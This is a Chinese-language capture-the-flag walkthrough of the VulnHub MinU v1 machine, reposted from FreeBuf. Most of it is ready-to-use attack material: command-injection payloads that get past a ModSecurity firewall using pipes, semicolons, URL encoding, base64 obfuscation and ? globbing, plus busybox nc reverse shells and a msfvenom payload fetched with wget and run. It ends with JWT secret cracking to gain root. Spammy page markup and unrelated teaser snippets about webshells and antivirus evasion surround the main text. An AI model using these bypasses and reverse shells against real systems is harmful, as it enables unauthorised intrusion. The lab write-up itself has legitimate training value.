<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    紅隊滲透項目之MinUv1

    VSole2022-07-05 21:13:22

    本項目中包含信息收集、信息收集、識別WAF、多種繞過WAF方式、獲取穩定shell、內部信息收集和提權,最終拿到flag.txt。其中包含一些小技巧以及知識,都會在文章中展現出來。

    注意:

    本文僅用于技術討論與研究,對于所有筆記中復現的這些終端或者服務器,都是自行搭建的環境進行滲透的。我將使用Kali Linux作為此次學習的攻擊者機器。這里使用的技術僅用于學習教育目的,如果列出的技術用于其他任何目標,本站及作者概不負責。

    靶機下載地址:https://www.vulnhub.com/entry/minu-1,235/

    下載完成后,使用 VirtualBox 導入,網絡選擇橋接模式,開啟靶機.

    準備工作完成,可以開始進行滲透了。

    滲透測試的本質就是信息收集,

    信息搜集的廣度決定了攻擊的廣度,知識面的廣度決定了攻擊的深度。

    1.NMAP挖掘信息

    掃描挖掘本地的IP地址信息:

    nmap -sS -sV -T5 -A 10.163.197.21

    發現開放了25、80、110端口,25端口為SMTP端口服務,110端口為POP3,80端口掃描出了是烏班圖的系統,該apache的版本為2.4.7,接下來訪問下http的80端口。

    2.web信息枚舉

    訪問80端口

    可以看到是apache的一個初始的服務頁面,僅僅只有80端口開了htp服務的話,猜測下面一定是有目錄的,所以進行爆破看看。

    也可以使用其他爆破目錄工具,此處我使用的是dirb,dirb是一個基于字典的web目錄掃描工具,查找現有的(和/或隱藏的)Web對象,通過對Web服務器發起基于字典的攻擊并分析響應的數據。采用遞歸的方式來獲取更多的目錄,它還支持代理和http認證限制訪問的網站,是在信息收集階段獲取目標信息常用工具手段。

    dirb http://10.163.197.21/

    掃描結果的狀態碼中大部分都是403,如果大批量出現403,說明前端是存在安全防護機制的,要么是waf要么是防御腳本。上面的爆破只有一個index.html返回的是200,訪問發現就是剛才的主頁。加大爆破力度。

    在很多情況下,我們需要在目標服務器上提取特定擴展名的目錄,然后可以使用dirb掃描的-X參數。此參數接受文件擴展名,然后在目標服務器或計算機上搜索給定的擴展名文件。

    dirb http://10.163.197.21/-X .php .html

    發現存在一個 test.php。

    訪問 http://10.163.197.21/test.php

    提示:Read last visitor data 讀取上次訪問者數據。是否存在信息泄露呢,我們點擊這個提示。

    點擊后彈出:http://192.168.3.88/test.php?file=last.html,一般情況下 ?file= 存在文件包含、sql注入。

    嘗試對URL進行構造。

    http://10.163.197.21/test.php?file=../../../../../../../etc/passwd

    結合前面爆破是大部分回顯均為403,猜測是存在WAF,嘗試命令注入。

    發現存在命令注入,手工試了一些后,發現ls、cat這些命令無法正常執行,應該是被waf攔截了。

    3.繞過WAF(一)識別waf

    這里使用一個工具,對waf進行探測 WAFW00F

    WAFW00F是一個Web應用防火墻(WAF)指紋識別的工具。

    WAFW00F工作原理:

    1、首先通過發送一個正常http請求,然后觀察其返回有沒有一些特征字符

    2、如果不成功,它將發送大量(潛在的惡意) HTTP 請求,并使用簡單的邏輯推斷出它是哪個WAF

    3、如果這也不成功,它將分析以前返回的響應,并使用另一個簡單的算法來猜測 WAF 或安全解決方案是否正在積極響應我們的攻擊.

    下載地址:https://github.com/EnableSecurity/wafw00f

    KALI自帶這個工具

    wafw00f http://10.163.197.21/

    根據回顯,存在waf,但是無法識別出來,當前使用的這個 wafw00f 是新版waf,但是新版反而不是很好用,所以我們再使用舊版的嘗試一下。

    舊版檢測到是一款叫 modsecurity 的waf,是一個開源waf。

    規則機制(繞過CRS)

    WAF可以安裝在服務器,可以安裝在某個站的目錄下,也可以安裝在PHP文件內。

    https://github.com/SpiderLabs/ModSecurity---開源

    https://github.com/SpiderLabs/owasp-modsecurity-crs

    ModSecurity是一個開源的跨平臺Web應用程序防火墻(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs開發。作為WAF產品,ModSecurity專門關注HTTP流量,當發出HTTP請求時,ModSecurity檢查請求的所有部分,如果請求是惡意的,它會被阻止和記錄。

    功能:

    1. SQL Injection (SQLi):阻止SQL注入
    2. Cross Site Scripting (XSS):阻止跨站腳本攻擊
    3. Local File Inclusion (LFI):阻止利用本地文件包含漏洞進行攻擊
    4. Remote File Inclusione(RFI):阻止利用遠程文件包含漏洞進行攻擊
    5. Remote Code Execution (RCE):阻止利用遠程命令執行漏洞進行攻擊
    6. PHP Code Injectiod:阻止PHP代碼注入
    7. HTTP Protocol Violations:阻止違反HTTP協議的惡意訪問
    8. HTTPoxy:阻止利用遠程代理感染漏洞進行攻擊
    9. Shellshock:阻止利用Shellshock漏洞進行攻擊
    10. Session Fixation:阻止利用Session會話ID不變的漏洞進行攻擊
    11. Scanner Detection:阻止黑客掃描網站
    12. Metadata/Error Leakages:阻止源代碼/錯誤信息泄露
    13. Project Honey Pot Blacklist:蜜罐項目黑名單
    14. GeoIP Country Blocking:根據判斷IP地址歸屬地來進行IP阻斷

    4.繞過WAF(二)模糊測試Fuzz

    繞過waf可以嘗試進行模糊測試,也就是FUZZ,FUZZ可以應用在很多場景中。

    此處我們使用wfuzz工具。

    wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://10.163.197.21/test.php?file=FUZZ---正常模糊測試執行命令。

    -c 輸出顏色 -z payload

    這里跑出很多種結果。

    響應值是200的和403的都很多,所以我們進行一下過濾,把403和404的過濾掉,然后重新執行。

    wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403 http://10.163.197.21/test.php?file=FUZZ---加hc過濾。

    剩下的就都是響應值為200的,此時就可以使用命令測試繞過waf。

    wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403 http://10.163.197.21/test.php?file=FUZZ| grep dir

    上面的命令是dir如何可以繞過waf。

    出示了兩種方式,我們進行嘗試。

    訪問 http://10.163.197.21/test.php?file=|dir

    可以繞過

    關于wfuzz的詳細使用可以參考:https://blog.csdn.net/qq_17204441/article/details/102279118

    通過 | 繞過waf

    現在已經可以繞過waf進行命令執行了

    5.繞過WAF(三)

    分號“;” 隔離繞過waf!

    以文件形式去讀的時候,加;就可以繞過

    http://10.163.197.21/test.php?file=last.html;id

    因為PHP底下是有過濾器的,因為有過濾器才導致有文件包含,我們用過濾器讀取了文件包含下的一個文件。

    通過訪問 http://10.163.197.21/test.php?file=--version可以看到過濾器的信息。

    是用cat過濾的,所以要以一個文件開頭讀取信息,然后再繞過。

    但是目前的兩種繞過方式都只能執行部分命令,如果命令后面需要跟參數,就不行了。

    二進制繞過

    可以在不受限制和不同的二進制文件中執行命令來繞過本地安全限制!

    這里提供一個包含所有二進制文件的網站:

    二進制文件的列表:https://gtfobins.github.io/

    最終發現:https://gtfobins.github.io/gtfobins/busybox/可以繞過waf

    所以根據二進制繞過waf,就可以反彈shell到其他機器上。

    http://10.163.197.21/test.php?file=YLion;busyboxnc 10.163.196.91 6789 -e sh

    此時是沒有環境變量的,但是每個二進制文件都包含環境變量,可以添加參數-i。

    http://10.163.197.21/test.php?file=YLion;busyboxnc 10.163.196.91 6789 -e sh -i

    6.繞過WAF(四)

    & --繞waf(URL編碼混淆繞過WAF)。

    &的url編碼為%26 空格的url編碼為%20。

    &會過濾掉前面的命令,直接執行后面的命令。

    可以執行成功。

    這里混淆的話,linux一般都會默認安裝base64,所以使用base64加密混淆。

    但是base64加密完會包含=,=被waf加入黑名單了,等號和你加密時的空格有關,可以在末尾添加空格,加密后等號就會去掉,如圖下中的嘗試。

    &/bin/echo bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64 -d|/bin/sh

    %26/bin/echo bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64 -d|/bin/sh

    此處執行

    http://10.163.197.21/test.php?file=%26/bin/echo%20bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64%20-d|/bin/sh

    發現無法執行。

    此時嘗試繼續繞過,加?號,?問號在linux中以命令使用著,例如:/bin/echo可以通過替換一些字母來調用,/bin/ech?,仍然會執行相同的命令!----在中間件服務里會自動識別命令。

    %26/b?n/ec?o bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/u?r/b?n/b?se64 -d|/bin/?h

    http://10.163.197.21/test.php?file=%26/b?n/ec?o%20bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/u?r/b?n/b?se64%20-d|/bin/?h

    成功 總結一下:

    1)知道了cat執行命令,那么用&符號:
    & 符號url編碼是%26,結束并開始一個新的命令!
    2)%20 ---空格
    3)bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjMuODYgMTMzNyAgICAgICAK ---base64編碼
    (這里==也在黑名單上)
    4)/u?r/b?n/b?se64%20-d是url編碼的繞過方法:/usr/bin/base64 -d
    5)|/b?n/sh也是一種繞過:|/bin/sh、

    7.繞過WAF(五)

    $繞過WAF,但是是針對modsecurity這個waf的。

    $u 然后執行命令 $u被視為空字符串。

    首先我們使用msf生成一個shell。

    msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.27.187 lport=4455 -f elf > shell

    然后用python開啟一個http服務,并且用nc監聽4455端口。

    http://10.163.197.21/test.php?file=YLion;$u wget http://192.168.27.187:80/shell-o /tmp/shell

    執行即可成功上傳,通過下面的命令查看。

    http://10.163.197.21/test.php?file=YLion;$u ls /tmp

    可以看到文件存在,查看一下文件權限。

    http://10.163.197.21/test.php?file=YLion;$u ls -la /tmp/shell

    并且發現權限比較低,所以執行另一條命令。

    http://10.163.197.21/test.php?file=YLion;$u chmod 777 /tmp/shell

    給予高權限,再次查看。

    http://10.163.197.21/test.php?file=YLion;$u ls /tmp

    權限已經變高了,攻擊機上進行監聽端口。

    nc -vlp 4455

    http://10.163.197.21/test.php?file=YLion;$u /tmp/shell

    注意:這里存在一個坑,可能大家做到這里會發現,python開啟的http服務那里有記錄,文件也可以看到,但是沒有回顯,其實是因為作者挖了一個坑,大家看上面查看文件權限的圖片,里面那個0,代表文件大小是0,這是因為文件空間滿了,搭建之處空間被占滿了,所以只有一個文件空殼,有名字,但是沒有內容。所以需要刪除一些文件,再重新上傳。

    總結上述繞過方式:| $ & ; 加上各種混淆base64 ? 等等

    8.穩定shell拓展

    這里已經拿到shell,這里也有一點,就是這里要輸python3,而不是直接python。

    python3 -c 'import pty; pty.spawn("/bin/bash")'

    SHELL=/bin/bash script -q /dev/null

    xport TERM=xterm-256color

    ctrl + z

    stty raw -echo

    fg

    執行完成就拿到了穩定shell。

    9.內部信息收集

    uname -a

    由此得知是一個32位的系統。

    可以上傳一個腳本,然后運行 linpeas.sh 這是一個Linux提權輔助工具。

    這個腳本非常厲害,可以枚舉linux操作系統幾乎所有的可提權項,甚至可以通過su暴力破解本地密碼,輸出非常多。

    https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

    由于沒有空間,可以使用rm -rf命令刪除tmp目錄下的一些文件,一般tmp目錄下為臨時文件。

    Linux version 4.13.0-39-generic ---45010

    Sudo version 1.8.20p2 ---CVE-2021-3156

    uid=1000(bob) gid=1000(bob) groups=1000(bob),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare) ---找到bob的密碼,su bob登錄用sudo -l提權。

    在tmp目錄下進行查看

    ls -la

    再查看一下home目錄下的內容。

    然后在 /home/bob/ 目錄下找到一個隱藏文件。

    上面的腳本也會枚舉出這個文件。

    通過python3,將該文件下載下來。

    python3 -m http.server 8089

    wget http://192.168.2.230:8089/._pw_

    cat ._pw_

    10.提權--深入分析PW文件

    初步懷疑這是一個密碼base64加密,但是base64中并沒有點,直接嘗試解碼試試。

    點在base64中代表跳過的意思,前面的部分解出了一些東西。

    sha256 類型:JWT

    將第一個點號過濾,查看后面的信息。

    過濾第二個點號。

    是二進制文件。

    對已有信息進行解讀。

    JWT是一種密匙認證機制,類似簽名。

    JSON Web Token(JWT)是一個開放的行業標準(RFC 7519),它定義了一種簡介的、自包含的協議格式,用于在通信雙方傳遞json對象,傳遞的信息經過數字簽名可以被驗證和信任。JWT可以使用HMAC算法或使用RSA的公 鑰/私鑰對來簽名,防止被篡改。

    JWT 具有這種格式的三個部分:

    base64(header).base64(payload).base64(signature)

    1. header在 JSON 中指定算法和類型。

    2. payload指定令牌的聲明,也在 JSON 中。

    3. signature是編碼頭和有效載荷的數字簽名。

    解密提供兩種思路,在線解密以及解密工具。

    https://jwt.io/#debugger這個網站提供在線解密,但是有些情況是解不出來的,需要使用工具破解。

    這里給出兩種工具:

    https://github.com/brendan-rius/c-jwt-cracker.git

    https://github.com/lmammino/jwt-cracker

    我們使用第一種

    proxychains git clone https://github.com/brendan-rius/c-jwt-cracker.git

    cd jwt-cracker

    apt-get install libssl-dev

    make

    ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg

    Secret is "mlnV1" ----等待幾分鐘

    賬戶root,密碼為mlnV1

    root目錄下存在flag.txt

    11.總結

    本篇文章著重點在于過WAF部分,也對其他的信息手機、提權的等給出了一些思路,希望小伙伴們能實際操作復現一遍!來鞏固自身的滲透技術和技巧!

    本文作者:YLion, 轉載請注明來自FreeBuf.COM

    shellbase64
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在滲透測試中,拿到 webshell 后執行命令總會碰到很多不便,而使用 ssh 登錄則會方便許多。相比使用 webshell 工具執行命令,ssh 連接可以有命令提示、路徑補全、支持二次交互等優勢,本文記錄一個從 WEB RCE 漏洞到 SSH 登錄的姿勢。架設代理網站不出網,所以需要架設 socks 代理訪問 ssh 端口及內網主機,這里使用 Neo-reGeorg。
    從 RCE 到 SSH 登錄
    APP簡單逆向到getshell
    2022-11-10 08:45:28
    因為url中出現weixin關鍵詞,推測兩種可能,第一種:登陸點,第二種,微信授權接口。寫入webshell踩坑RCE之后呢,當然不能只滿足現狀,為了方便管理,肯定得寫個webshell的。估計跟編碼有關,大概試了半個多小時,無果。
    殺毒測試,兩款殺毒軟件都報毒。免殺思路1、 簡單免殺將shellcode采用aes、base64等方式進行加密。注意此資源文件可放在外部exe加載器中。
    該篇章目的是重新牢固地基,加強每日訓練操作的筆記,在記錄地基筆記中會有很多跳躍性思維的操作和方式方法,望大家能共同加油學到東西。
    WSH是一款功能強大的Web Shell生成器和命令行接口工具。WSH的客戶端支持命令歷史記錄和日志記錄功能,并且可以跟以前部署的標準Webshell交互。生成器使用了PHP、ASP和JSP來創建Webshell。它們使用隨機變量生成,因此每一個都擁有單獨的哈希。它們可以使用白名單或密碼進行配置,并允許通過自定義Header和參數進行發送。廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
    文章首發在:奇安信攻防社區https://forum.butian.net/share/2142前言 如果存
    shiro打點獲取10段服務器權限,在10段機器出網且已上線cs;172段不出網且反向不通10段,已通過mysql弱口令獲取system權限,存在web服務。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类